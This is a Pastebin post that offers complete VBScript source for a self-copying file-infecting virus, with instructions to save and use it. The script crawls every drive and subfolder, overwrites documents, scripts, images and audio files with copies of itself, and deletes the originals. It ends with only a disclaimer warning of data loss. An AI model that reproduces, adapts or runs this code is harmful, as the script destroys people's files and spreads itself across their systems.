Advertisement
johnmahugu

real visual basic script virus

Mar 2nd, 2016
964
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. a real virus can copy itself if you want a real virus that can infect other files then type this code and save as a .vbs
  2. this is the code:
  3. Set fso = WScript.CreateObject("Scripting.Filesystemobject")
  4. For Each d In fso.Drives
  5. If d.DriveType + 2 And d.IsReady = True Then
  6. Call SubFolders(d & "\")
  7. End If
  8. Next
  9.  
  10. Function infect(path)
  11. On Error Resume Next
  12. Set fold = fso.GetFolder(path)
  13. For Each f In fold.Files
  14. ext = fso.GetExtensionName(f.path)
  15. If (ext="doc") or (ext="txt") or (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") or (ext="js") or (ext="mp2") or (ext="mp3") or (ext="vbs") or (ext="vbe") or (ext="jpeg") or (ext="jpg") Then
  16. fso.CopyFile WScript.ScriptFullName, f.path & ".vbs", True
  17. fso.DeleteFile f.Path, True
  18. End if
  19. Next
  20. End Function
  21.  
  22. Function SubFolders(path)
  23. On Error Resume next
  24. For Each subf In fso.GetFolder(path).SubFolders
  25. Call Infect(subf.Path)
  26. Call SubFolders(subf.Path)
  27. next
  28. End function
  29. save as .vbs
  30. this virus overwrites files with these extentions:.doc,.txt,.js,.jse,.css,.wsh,.sct,.hta,.js,.mp2,.mp3 ,.vbs,.vbe,.jpeg,.jpg i am NOT responsible for any damage caused by this virus so PLEASE DO NOT RUN THIS SCRIPT UNLESS YOU WANT DATA LOSS
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement